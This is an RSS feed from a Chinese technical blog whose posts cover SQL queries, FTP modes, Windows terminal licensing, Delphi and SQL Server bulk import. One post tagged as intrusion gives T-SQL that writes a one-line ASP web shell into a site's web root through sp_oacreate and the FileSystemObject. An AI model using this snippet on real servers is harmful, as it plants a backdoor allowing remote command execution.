<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[〓荣耀±一生〓---X14071Z1's BLOG - 计算机技术]]></title>
<link>http://www.Fuckadmin.com/Blog/</link>
<description><![CDATA[沉迷的黑色岁月~~孤寂,永远的孤寂..落寞...然后一直沉沦..]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[x14071z1@gmail.com(X14071Z1)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>〓荣耀±一生〓---X14071Z1&#39;s BLOG</title>
	<url>http://www.Fuckadmin.com/Blog/images/logos.gif</url>
	<link>http://www.Fuckadmin.com/Blog/</link>
	<description>〓荣耀±一生〓---X14071Z1&#39;s BLOG</description>
</image>

			<item>
			<link>http://www.Fuckadmin.com/Blog/article.asp?id=774</link>
			<title><![CDATA[SQL 删除重复记录]]></title>
			<author>x14071z1@gmail.com(hkylin)</author>
			<category><![CDATA[计算机技术]]></category>
			<pubDate>Tue,10 Aug 2010 00:32:26 +0800</pubDate>
			<guid>http://www.Fuckadmin.com/Blog/default.asp?id=774</guid>
		<description><![CDATA[<p><span style="color: #008080">--</span><span style="color: #008080">功能概述:删除重复记录</span><span style="color: #008080"><br />
</span><span style="color: #000000"><br />
在几千条记录里,存在着些相同的记录,如何能用SQL语句,删除掉重复的呢?谢谢! <br />
</span><span style="color: #800000; font-weight: bold">1</span><span style="color: #000000">、查找表中多余的重复记录，重复记录是根据单个字段（peopleId）来判断 <br />
</span><span style="color: #0000ff">select</span><span style="color: #000000"> </span><span style="color: #808080">*</span><span style="color: #000000"> </span><span style="color: #0000ff">from</span><span style="color: #000000"> people <br />
</span><span style="color: #0000ff">where</span><span style="color: #000000"> peopleId </span><span style="color: #808080">in</span><span style="color: #000000"> (</span><span style="color: #0000ff">select</span><span style="color: #000000">&nbsp; peopleId&nbsp; </span><span style="color: #0000ff">from</span><span style="color: #000000">&nbsp; people&nbsp; </span><span style="color: #0000ff">group</span><span style="color: #000000">&nbsp; </span><span style="color: #0000ff">by</span><span style="color: #000000">&nbsp; peopleId&nbsp; </span><span style="color: #0000ff">having</span><span style="color: #000000">&nbsp; </span><span style="color: #ff00ff">count</span><span style="color: #000000">(peopleId) </span><span style="color: #808080">&gt;</span><span style="color: #000000"> </span><span style="color: #800000; font-weight: bold">1</span><span style="color: #000000">) <br />
<br />
</span><span style="color: #800000; font-weight: bold">2</span><span style="color: #000000">、删除表中多余的重复记录，重复记录是根据单个字段（peopleId）来判断，只留有rowid最小的记录 <br />
</span><span style="color: #0000ff">delete</span><span style="color: #000000"> </span><span style="color: #0000ff">from</span><span style="color: #000000"> people <br />
</span><span style="color: #0000ff">where</span><span style="color: #000000"> peopleId&nbsp; </span><span style="color: #808080">in</span><span style="color: #000000"> (</span><span style="color: #0000ff">select</span><span style="color: #000000">&nbsp; peopleId&nbsp; </span><span style="color: #0000ff">from</span><span style="color: #000000"> people&nbsp; </span><span style="color: #0000ff">group</span><span style="color: #000000">&nbsp; </span><span style="color: #0000ff">by</span><span style="color: #000000">&nbsp; peopleId&nbsp; </span><span style="color: #0000ff">having</span><span style="color: #000000">&nbsp; </span><span style="color: #ff00ff">count</span><span style="color: #000000">(peopleId) </span><span style="color: #808080">&gt;</span><span style="color: #000000"> </span><span style="color: #800000; font-weight: bold">1</span><span style="color: #000000">) <br />
</span><span style="color: #808080">and</span><span style="color: #000000"> rowid </span><span style="color: #808080">not</span><span style="color: #000000"> </span><span style="color: #808080">in</span><span style="color: #000000"> (</span><span style="color: #0000ff">select</span><span style="color: #000000"> </span><span style="color: #ff00ff">min</span><span style="color: #000000">(rowid) </span><span style="color: #0000ff">from</span><span style="color: #000000">&nbsp; people&nbsp; </span><span style="color: #0000ff">group</span><span style="color: #000000"> </span><span style="color: #0000ff">by</span><span style="color: #000000"> peopleId&nbsp; </span><span style="color: #0000ff">having</span><span style="color: #000000"> </span><span style="color: #ff00ff">count</span><span style="color: #000000">(peopleId )</span><span style="color: #808080">&gt;</span><span style="color: #800000; font-weight: bold">1</span><span style="color: #000000">) <br />
<br />
</span><span style="color: #800000; font-weight: bold">3</span><span style="color: #000000">、查找表中多余的重复记录（多个字段） <br />
</span><span style="color: #0000ff">select</span><span style="color: #000000"> </span><span style="color: #808080">*</span><span style="color: #000000"> </span><span style="color: #0000ff">from</span><span style="color: #000000"> vitae a <br />
</span><span style="color: #0000ff">where</span><span style="color: #000000"> (a.peopleId,a.seq) </span><span style="color: #808080">in</span><span style="color: #000000">&nbsp; (</span><span style="color: #0000ff">select</span><span style="color: #000000"> peopleId,seq </span><span style="color: #0000ff">from</span><span style="color: #000000"> vitae </span><span style="color: #0000ff">group</span><span style="color: #000000"> </span><span style="color: #0000ff">by</span><span style="color: #000000"> peopleId,seq&nbsp; </span><span style="color: #0000ff">having</span><span style="color: #000000"> </span><span style="color: #ff00ff">count</span><span style="color: #000000">(</span><span style="color: #808080">*</span><span style="color: #000000">) </span><span style="color: #808080">&gt;</span><span style="color: #000000"> </span><span style="color: #800000; font-weight: bold">1</span><span style="color: #000000">) <br />
<br />
</span><span style="color: #800000; font-weight: bold">4</span><span style="color: #000000">、删除表中多余的重复记录（多个字段），只留有rowid最小的记录 <br />
</span><span style="color: #0000ff">delete</span><span style="color: #000000"> </span><span style="color: #0000ff">from</span><span style="color: #000000"> vitae a <br />
</span><span style="color: #0000ff">where</span><span style="color: #000000"> (a.peopleId,a.seq) </span><span style="color: #808080">in</span><span style="color: #000000">&nbsp; (</span><span style="color: #0000ff">select</span><span style="color: #000000"> peopleId,seq </span><span style="color: #0000ff">from</span><span style="color: #000000"> vitae </span><span style="color: #0000ff">group</span><span style="color: #000000"> </span><span style="color: #0000ff">by</span><span style="color: #000000"> peopleId,seq </span><span style="color: #0000ff">having</span><span style="color: #000000"> </span><span style="color: #ff00ff">count</span><span style="color: #000000">(</span><span style="color: #808080">*</span><span style="color: #000000">) </span><span style="color: #808080">&gt;</span><span style="color: #000000"> </span><span style="color: #800000; font-weight: bold">1</span><span style="color: #000000">) <br />
</span><span style="color: #808080">and</span><span style="color: #000000"> rowid </span><span style="color: #808080">not</span><span style="color: #000000"> </span><span style="color: #808080">in</span><span style="color: #000000"> (</span><span style="color: #0000ff">select</span><span style="color: #000000"> </span><span style="color: #ff00ff">min</span><span style="color: #000000">(rowid) </span><span style="color: #0000ff">from</span><span style="color: #000000"> vitae </span><span style="color: #0000ff">group</span><span style="color: #000000"> </span><span style="color: #0000ff">by</span><span style="color: #000000"> peopleId,seq </span><span style="color: #0000ff">having</span><span style="color: #000000"> </span><span style="color: #ff00ff">count</span><span style="color: #000000">(</span><span style="color: #808080">*</span><span style="color: #000000">)</span><span style="color: #808080">&gt;</span><span style="color: #800000; font-weight: bold">1</span><span style="color: #000000">) <br />
<br />
</span><span style="color: #800000; font-weight: bold">5</span><span style="color: #000000">、查找表中多余的重复记录（多个字段），不包含rowid最小的记录 <br />
</span><span style="color: #0000ff">select</span><span style="color: #000000"> </span><span style="color: #808080">*</span><span style="color: #000000"> </span><span style="color: #0000ff">from</span><span style="color: #000000"> vitae a <br />
</span><span style="color: #0000ff">where</span><span style="color: #000000"> (a.peopleId,a.seq) </span><span style="color: #808080">in</span><span style="color: #000000">&nbsp; (</span><span style="color: #0000ff">select</span><span style="color: #000000"> peopleId,seq </span><span style="color: #0000ff">from</span><span style="color: #000000"> vitae </span><span style="color: #0000ff">group</span><span style="color: #000000"> </span><span style="color: #0000ff">by</span><span style="color: #000000"> peopleId,seq </span><span style="color: #0000ff">having</span><span style="color: #000000"> </span><span style="color: #ff00ff">count</span><span style="color: #000000">(</span><span style="color: #808080">*</span><span style="color: #000000">) </span><span style="color: #808080">&gt;</span><span style="color: #000000"> </span><span style="color: #800000; font-weight: bold">1</span><span style="color: #000000">) <br />
</span><span style="color: #808080">and</span><span style="color: #000000"> rowid </span><span style="color: #808080">not</span><span style="color: #000000"> </span><span style="color: #808080">in</span><span style="color: #000000"> (</span><span style="color: #0000ff">select</span><span style="color: #000000"> </span><span style="color: #ff00ff">min</span><span style="color: #000000">(rowid) </span><span style="color: #0000ff">from</span><span style="color: #000000"> vitae </span><span style="color: #0000ff">group</span><span style="color: #000000"> </span><span style="color: #0000ff">by</span><span style="color: #000000"> peopleId,seq </span><span style="color: #0000ff">having</span><span style="color: #000000"> </span><span style="color: #ff00ff">count</span><span style="color: #000000">(</span><span style="color: #808080">*</span><span style="color: #000000">)</span><span style="color: #808080">&gt;</span><span style="color: #800000; font-weight: bold">1</span><span style="color: #000000">) <br />
<br />
比方说在A表中存在一个字段&ldquo;name&rdquo;，而且不同记录之间的&ldquo;name&rdquo;值有可能会相同， <br />
现在就是需要查询出在该表中的各记录之间，&ldquo;name&rdquo;值存在重复的项； <br />
</span><span style="color: #0000ff">Select</span><span style="color: #000000"> Name,</span><span style="color: #ff00ff">Count</span><span style="color: #000000">(</span><span style="color: #808080">*</span><span style="color: #000000">) </span><span style="color: #0000ff">From</span><span style="color: #000000"> A </span><span style="color: #0000ff">Group</span><span style="color: #000000"> </span><span style="color: #0000ff">By</span><span style="color: #000000"> Name </span><span style="color: #0000ff">Having</span><span style="color: #000000"> </span><span style="color: #ff00ff">Count</span><span style="color: #000000">(</span><span style="color: #808080">*</span><span style="color: #000000">) </span><span style="color: #808080">&gt;</span><span style="color: #000000"> </span><span style="color: #800000; font-weight: bold">1</span><span style="color: #000000"> <br />
<br />
如果还查性别也相同大则如下: <br />
</span><span style="color: #0000ff">Select</span><span style="color: #000000"> Name,sex,</span><span style="color: #ff00ff">Count</span><span style="color: #000000">(</span><span style="color: #808080">*</span><span style="color: #000000">) </span><span style="color: #0000ff">From</span><span style="color: #000000"> A </span><span style="color: #0000ff">Group</span><span style="color: #000000"> </span><span style="color: #0000ff">By</span><span style="color: #000000"> Name,sex </span><span style="color: #0000ff">Having</span><span style="color: #000000"> </span><span style="color: #ff00ff">Count</span><span style="color: #000000">(</span><span style="color: #808080">*</span><span style="color: #000000">) </span><span style="color: #808080">&gt;</span><span style="color: #000000"> </span><span style="color: #800000; font-weight: bold">1</span></p>]]></description>
		</item>
		
			<item>
			<link>http://www.Fuckadmin.com/Blog/article.asp?id=773</link>
			<title><![CDATA[完美解决“由于这台计算机没有终端服务器客户端访问]]></title>
			<author>x14071z1@gmail.com(hkylin)</author>
			<category><![CDATA[计算机技术]]></category>
			<pubDate>Mon,19 Jul 2010 15:33:40 +0800</pubDate>
			<guid>http://www.Fuckadmin.com/Blog/default.asp?id=773</guid>
		<description><![CDATA[<br/>由于windows2003默认仅支持2个终端用户的登陆。当“终端连接超出了最大连接”的情况出现导致不能登录时，可以：<br/><br/>1、在另外一台Windows2003的机器上运行“tsmmc.msc”，打开远程桌面连接，添加一个新的连接，输入远程服务器的IP地址、远程登录帐号和密码，登录到远程服务器桌面。这个方式可以随时登录到远程桌面。<br/><br/>2、在登录出问题的服务器上， 单击“开始”，指向“管理工具”，然后单击“终端服务配置”。<br/><br/>3、 单击“服务器设置”，然后双击“授权模式”。<br/><br/>4、将“授权模式”更改为“每用户”，然后单击“确定”。 以后就不会出现此类问题了。<br/><br/>原因：Window Server 2003 不管理“用户 CAL”。这就是说，即使许可证服务器数据库中有一个“用户 CAL”，它在被使用时也不会减少。这样就不会为了让每个用户都有一个有效的终端服务器 (TS) CAL 而根据“最终用户许可协议”(EULA) 的要求删除管理员。在没有使用“设备 CAL”的情况下，如果不是每个用户都有一个“用户 CAL”，就会违反 EULA。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.Fuckadmin.com/Blog/article.asp?id=772</link>
			<title><![CDATA[[SQL] SQL列出表名 ]]></title>
			<author>x14071z1@gmail.com(hkylin)</author>
			<category><![CDATA[计算机技术]]></category>
			<pubDate>Thu,27 May 2010 21:29:48 +0800</pubDate>
			<guid>http://www.Fuckadmin.com/Blog/default.asp?id=772</guid>
		<description><![CDATA[User database<br/>sel&#101;ct * from information_schema.tables]]></description>
		</item>
		
			<item>
			<link>http://www.Fuckadmin.com/Blog/article.asp?id=768</link>
			<title><![CDATA[[FTP] 用ftp连接时报227 Entering Passive Mode 到 FTP协议工作方]]></title>
			<author>x14071z1@gmail.com(hkylin)</author>
			<category><![CDATA[计算机技术]]></category>
			<pubDate>Fri,21 May 2010 15:34:26 +0800</pubDate>
			<guid>http://www.Fuckadmin.com/Blog/default.asp?id=768</guid>
		<description><![CDATA[主动 FTP ：<br/><br/>　　命令连接：客户端 &gt;1024 端口 -&gt; 服务器 21 端口<br/><br/>　　数据连接：客户端 &gt;1024 端口 &lt;- 服务器 20 端口<br/><br/>　　被动 FTP ：<br/><br/>　　命令连接：客户端 &gt;1024 端口 -&gt; 服务器 21 端口<br/><br/>　　数据连接：客户端 &gt;1024 端口 -&gt; 服务器 &gt;1024 端口<br/><br/><br/><br/>FTP协议有两种工作方式：PORT方式和PASV方式，中文意思为主动式和被动式。&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>PORT（主动）方式的连接过程是：客户端向服务器的FTP端口（默认是21）发送连接请求，服务器接受连接，建立一条命令链路。当需要传送数据时， 客户端在命令链路上用PORT命令告诉服务器：“我打开了***X端口，你过来连接我”。于是服务器从20端口向客户端的***X端口发送连接请求，建立 一条数据链路来传送数据。&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>PASV（被动）方式的连接过程是：客户端向服务器的FTP端口（默认是21）发送连接请求，服务器接受连接，建立一条命令链路。当需要传送数据时， 服务器在命令链路上用PASV命令告诉客户端：“我打开了***X端口，你过来连接我”。于是客户端向服务器的***X端口发送连接请求，建立一条数据链 路来传送数据。 <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.Fuckadmin.com/Blog/article.asp?id=767</link>
			<title><![CDATA[[入侵] 利用sp_oacr&#101;ate和FSO得到路径的时候写马]]></title>
			<author>x14071z1@gmail.com(hkylin)</author>
			<category><![CDATA[计算机技术]]></category>
			<pubDate>Thu,20 May 2010 20:17:42 +0800</pubDate>
			<guid>http://www.Fuckadmin.com/Blog/default.asp?id=767</guid>
		<description><![CDATA[利用sp_oacr&#101;ate和FSO,得到路径的时候写马<br/><br/><br/>declare @o int, @f int, @t int, @ret int<br/>exec sp_oacr&#101;ate &#39;scripting.filesystemobject&#39;, @o out<br/>exec sp_oamethod @o, &#39;cr&#101;atetextfile&#39;, @f out, &#39;c:\Inetpub\tianhong\2.asp&#39;, 1<br/>exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL,<br/>&#39;&lt;%execute(request(&#34;a&#34;))%&gt;&#39;]]></description>
		</item>
		
			<item>
			<link>http://www.Fuckadmin.com/Blog/article.asp?id=763</link>
			<title><![CDATA[[SQL]  一个sql面试题＋Union和Union All的区别]]></title>
			<author>x14071z1@gmail.com(hkylin)</author>
			<category><![CDATA[计算机技术]]></category>
			<pubDate>Wed,12 May 2010 23:21:01 +0800</pubDate>
			<guid>http://www.Fuckadmin.com/Blog/default.asp?id=763</guid>
		<description><![CDATA[<span style="color:Red">一个表，字段和内容如下：<br/><br/>name<br/><br/>a<br/>b<br/>c<br/>d<br/><br/>假设这是个球队的队名表，每个球队要与其它三支队进行一次比赛，请用一个sql语句列出比赛的组合</span><br/>网上回复的答案：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.Fuckadmin.com/Blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">--&gt; 生成测试数据表: [tb]<br/>IF OBJECT_ID(&#39;[tb]&#39;) IS NOT NULL<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dro&#112; TABLE [tb]<br/>GO<br/>Cr&#101;ate TABLE [tb] ([name] [nvarchar](10))<br/>Ins&#101;rt INTO [tb]<br/>Sel&#101;ct &#39;a&#39; UNION ALL<br/>Sel&#101;ct &#39;b&#39; UNION ALL<br/>Sel&#101;ct &#39;c&#39; UNION ALL<br/>Sel&#101;ct &#39;d&#39;<br/><br/>--Sel&#101;ct * FROM [tb]<br/><br/>--&gt;SQL查询如下:<br/>sel&#101;ct a.name+&#39; VS &#39;+b.name as nvn from tb a ,tb b wh&#101;re a.name&lt;b.name<br/>/*<br/>nvn<br/>------------------------<br/>a VS b<br/>a VS c<br/>a VS d<br/>b VS c<br/>b VS d<br/>c VS d<br/><br/>(6 行受影响)<br/>*/</div></div><br/><br/>看不懂union all 附下资料参考：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.Fuckadmin.com/Blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Union与Union All的区别 <br/><br/>如果我们需要将两个sel&#101;ct语句的结果作为一个整体显示出来，我们就需要用到union或者union all关键字。union(或称为联合)的作用是将多个结果合并在一起显示出来。 <br/><br/>union和union all的区别是,union会自动压缩多个结果集合中的重复结果，而union all则将所有的结果全部显示出来，不管是不是重复。 <br/><br/><br/>Union：对两个结果集进行并集操作，不包括重复行，同时进行默认规则的排序； <br/><br/>Union All：对两个结果集进行并集操作，包括重复行，不进行排序； <br/><br/>Intersect：对两个结果集进行交集操作，不包括重复行，同时进行默认规则的排序； <br/><br/>Minus：对两个结果集进行差操作，不包括重复行，同时进行默认规则的排序。 <br/><br/>可以在最后一个结果集中指定Order by子句改变排序方式。 <br/><br/>例如： <br/><br/>sel&#101;ct employee_id,job_id from employees <br/>union <br/>sel&#101;ct employee_id,job_id from job_history <br/><br/>以上将两个表的结果联合在一起。这两个例子会将两个sel&#101;ct语句的结果中的重复值进行压缩，也就是结果的数据并不是两条结果的条数的和。如果希望即使重复的结果显示出来可以使用union all,例如： <br/><br/>2.在oracle的scott用户中有表emp <br/>sel&#101;ct * from emp wh&#101;re deptno &gt;= 20 <br/>union all <br/>sel&#101;ct * from emp wh&#101;re deptno &lt;= 30 <br/>这里的结果就有很多重复值了。 <br/><br/>有关union和union all关键字需要注意的问题是： <br/><br/>union 和 union all都可以将多个结果集合并，而不仅仅是两个，你可以将多个结果集串起来。 <br/>使用union和union all必须保证各个sel&#101;ct 集合的结果有相同个数的列，并且每个列的类型是一样的。但列名则不一定需要相同，oracle会将第一个结果的列名作为结果集的列名。例如下面是一个例子： <br/>sel&#101;ct empno,ename from emp <br/>union <br/>sel&#101;ct deptno,dname from dept <br/>我们没有必要在每一个sel&#101;ct结果集中使用order by子句来进行排序，我们可以在最后使用一条order by来对整个结果进行排序。例如： <br/>sel&#101;ct empno,ename from emp <br/>union <br/>sel&#101;ct deptno,dname from dept <br/>o&#114;der by ename; </div></div>]]></description>
		</item>
		
			<item>
			<link>http://www.Fuckadmin.com/Blog/article.asp?id=761</link>
			<title><![CDATA[[Delphi] delphi 如何知道bat批处理已经运行完毕]]></title>
			<author>x14071z1@gmail.com(hkylin)</author>
			<category><![CDATA[计算机技术]]></category>
			<pubDate>Wed,12 May 2010 22:12:54 +0800</pubDate>
			<guid>http://www.Fuckadmin.com/Blog/default.asp?id=761</guid>
		<description><![CDATA[&lt;span style=&#34;color: #ffffff&#34;&gt;By &lt;/span&gt;&lt;a href=&#34;<a href="http://Yanqiuci.com" target="_blank" rel="external">http://Yanqiuci.com</a>&#34;&gt;&lt;span style=&#34;color: #ffffff&#34;&gt;<a href="http://Yanqiuci.com" target="_blank" rel="external">http://Yanqiuci.com</a>&lt;/span&gt;&lt;/a&gt;&lt;span style=&#34;color: #ffffff&#34;&gt; 雁丘文学&lt;/span&gt;&lt;br /&gt;<br/>delphi 如何知道bat批处理已经运行完毕<br/>/<br/>/执行程序并等待其结束<br/>Function WinExecExW(cmd,workdir:pchar;visiable:integer):DWORD;<br/>var<br/>StartupInfo:TStartupInfo;<br/>ProcessInfo:TProcessInformation;<br/>ret:DWORD;<br/>begin<br/>FillChar(StartupInfo,SizeOf(StartupInfo),#0);<br/>StartupInfo.cb:=SizeOf(StartupInfo);<br/>StartupInfo.dwFlags:=STARTF_USESHOWWINDOW;<br/>StartupInfo.wShowWindow:=visiable;<br/>Application.ProcessMessages;<br/>if not Cr&#101;ateProcess(nil,cmd,nil,nil,false,Cr&#101;ate_new_console o&#114; Normal_priority_class,nil,nil,StartupInfo,ProcessInfo) then<br/>&nbsp;&nbsp; result:=0<br/>else<br/>begin<br/>&nbsp;&nbsp; Application.ProcessMessages;<br/>&nbsp;&nbsp; //waitforsingleobject(processinfo.hProcess,INFINITE);<br/>&nbsp;&nbsp;&nbsp;&nbsp;repeat<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret:=WaitforSingleObject(ProcessInfo.hProcess,100); //等待<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Application.ProcessMessages;<br/>&nbsp;&nbsp;&nbsp;&nbsp;until ret &lt;&gt; Wait_Timeout;<br/><br/>&nbsp;&nbsp; GetExitCodeProcess(ProcessInfo.hProcess,Result);<br/>end;<br/>end; ]]></description>
		</item>
		
			<item>
			<link>http://www.Fuckadmin.com/Blog/article.asp?id=759</link>
			<title><![CDATA[[sqlserver] 从excel直接读入数据库]]></title>
			<author>x14071z1@gmail.com(hkylin)</author>
			<category><![CDATA[计算机技术]]></category>
			<pubDate>Sun,09 May 2010 01:04:48 +0800</pubDate>
			<guid>http://www.Fuckadmin.com/Blog/default.asp?id=759</guid>
		<description><![CDATA[1.从excel直接读入数据库<br/>程序代码 ins&#101;rt into t_test ( 字段 ) <br/><br/>sel&#101;ct 字段 <br/><br/>FROM OpenDataSource( &#39;<a href="http://www.microsoft.com/china/homepage/ms.htm" target="_blank"><img src="http://www.Fuckadmin.com/Blog/images/keywords/microsoft.gif" border="0" alt=""/> Microsoft</a>.Jet.OLEDB.4.0&#39;,<br/>&#39;Data Source=&#39;C:\test.xls&#39;;<br/>User ID=Admin;Password=;<br/>Extended properties=Excel 8.0&#39;)...[sheet1$]<br/><br/><br/>2.从数据库直接写入excel<br/>程序代码<br/><br/>exec master..xp_cmdshell &#39; bcp &#39;Sel&#101;ct au_fname, au_lname FROM pubs..authors o&#114;DER BY au_lname&#39; queryout c:\test.xls -c -S&#39;soa&#39; -U&#39;sa&#39; -P&#39;sa&#39; &#39;&nbsp;&nbsp;&nbsp;&nbsp;注意参数的大小写，另外这种方法写入数据的时候没有标题<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.Fuckadmin.com/Blog/article.asp?id=758</link>
			<title><![CDATA[[SQL SERVER] Bulk Ins&#101;rt命令详细]]></title>
			<author>x14071z1@gmail.com(hkylin)</author>
			<category><![CDATA[计算机技术]]></category>
			<pubDate>Sun,09 May 2010 01:00:48 +0800</pubDate>
			<guid>http://www.Fuckadmin.com/Blog/default.asp?id=758</guid>
		<description><![CDATA[PS:好像pjblog最新的这个版本屏蔽了i_n_s_e_r_t?<br/><br/><div class="UBBPanel quotePanel"><div class="UBBTitle"><img src="http://www.Fuckadmin.com/Blog/images/quote.gif" style="margin:0px 2px -3px 0px" alt="引用内容"/> 引用内容</div><div class="UBBContent">BULK Ins&#101;rt以用户指定的格式复制一个数据文件至数据库表或视图中。语法BULK Ins&#101;rt [ [ &#39;database_name&#39;.][ &#39;owner&#39; ].]{ &#39;table_name&#39; FROM &#39;data_file&#39; }&nbsp;&nbsp;&nbsp;&nbsp;[ WITH&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ BATCHSIZE [ = batch_size ] ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] CHECK_CONSTRAINTS ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] CODEPAGE [ = &#39;ACP&#39; | &#39;OEM&#39; | &#39;RAW&#39; | &#39;code_page&#39; ] ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] DATAFILETYPE [ =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &#39;char&#39; | &#39;native&#39;| &#39;widechar&#39; | &#39;widenative&#39; } ] ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] FIELDTERMINATOR [ = &#39;field_terminator&#39; ] ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] FIRSTROW [ = first_row ] ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] FIRE_TRIGGERS ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] FORMATFILE = &#39;format_file_path&#39; ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] KEEPIDENTITY ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] KEEPNULLS ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] KILOBYTES_PER_BATCH [ = kilobytes_per_batch ] ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] LASTROW [ = last_row ] ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] MAXERRORS [ = max_errors ] ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] o&#114;DER ( { column [ ASC | DESC ] } [ ,...n ] ) ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] ROWS_PER_BATCH [ = rows_per_batch ] ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ [ , ] ROWTERMINATOR [ = &#39;row_terminator&#39; ] ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ , [ TABLOCK ] ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )&nbsp;&nbsp;&nbsp;&nbsp; ] 参数&#39;database_name&#39;是包含指定表或视图的数据库的名称。如果未指定，则系统默认为当前数据库。&#39;owner&#39;是表或视图所有者的名称。当执行大容量复制操作的用户拥有指定的表或视图时，owner 是可选项。如果没有指定 owner 并且执行大容量复制操作的用户不拥有指定的表或视图，则 <a href="http://www.microsoft.com/china/homepage/ms.htm" target="_blank"><img src="http://www.Fuckadmin.com/Blog/images/keywords/microsoft.gif" border="0" alt=""/> Microsoft</a>® SQL Server? 将返回错误信息并取消大容量复制操作。&#39;table_name&#39;是大容量复制数据于其中的表或视图的名称。只能使用那些所有的列引用相同基表所在的视图。有关向视图中复制数据的限制的更多信息，请参见 Ins&#101;rt。 &#39;data_file&#39;是数据文件的完整路径，该数据文件包含要复制到指定表或视图的数据。BULK Ins&#101;rt 从磁盘复制数据（包括网络、软盘、硬盘等）。 data_file 必须从运行 SQL Server 的服务器指定有效路径。如果 data_file 是远程文件，则请指定通用命名规则 (UNC) 名称。BATCHSIZE [ = batch_size ]指定批处理中的行数。每个批处理作为一个事务复制至服务器。SQL Server提交或回滚（在失败时）每个批处理的事务。默认情况下，指定数据文件中的所有数据是一个批处理。CHECK_CONSTRAINTS指定在大容量复制操作中检查 table_name 的任何约束。默认情况下，将会忽略约束。CODEPAGE [ = &#39;ACP&#39; | &#39;OEM&#39; | &#39;RAW&#39; | &#39;code_page&#39; ]指定该数据文件中数据的代码页。仅当数据含有字符值大于 127 或小于 32 的 char、varchar 或 text 列时，CODEPAGE 才是适用的。CODEPAGE 值 描述 ACP char、varchar 或 text 数据类型的列从 ANSI/<a href="http://www.microsoft.com/china/homepage/ms.htm" target="_blank"><img src="http://www.Fuckadmin.com/Blog/images/keywords/microsoft.gif" border="0" alt=""/> Microsoft</a> Windows® 代码页 ISO 1252 转换为 SQL Server 代码页。 OEM（默认值） char、varchar 或 text 数据类型的列被从系统 OEM 代码页转换为 SQL Server 代码页。 RAW 并不进行从一个代码页到另一个代码页的转换；这是最快的选项。 code_page 特定的代码页号码，例如 850。 DATAFILETYPE [ = {&#39;char&#39; | &#39;native&#39; | &#39;widechar&#39; | &#39;widenative&#39; } ]指定 BULK Ins&#101;rt 使用指定的默认值执行复制操作。DATAFILETYPE 值 描述 char（默认值） 从含有字符数据的数据文件执行大容量复制操作。 native 使用 native（数据库）数据类型执行大容量复制操作。要装载的数据文件由大容量复制数据创建，该复制是用 bcp 实用工具从 SQL Server 进行的。 widechar 从含有 Unicode 字符的数据文件中执行大容量复制操作。 widenative 执行与 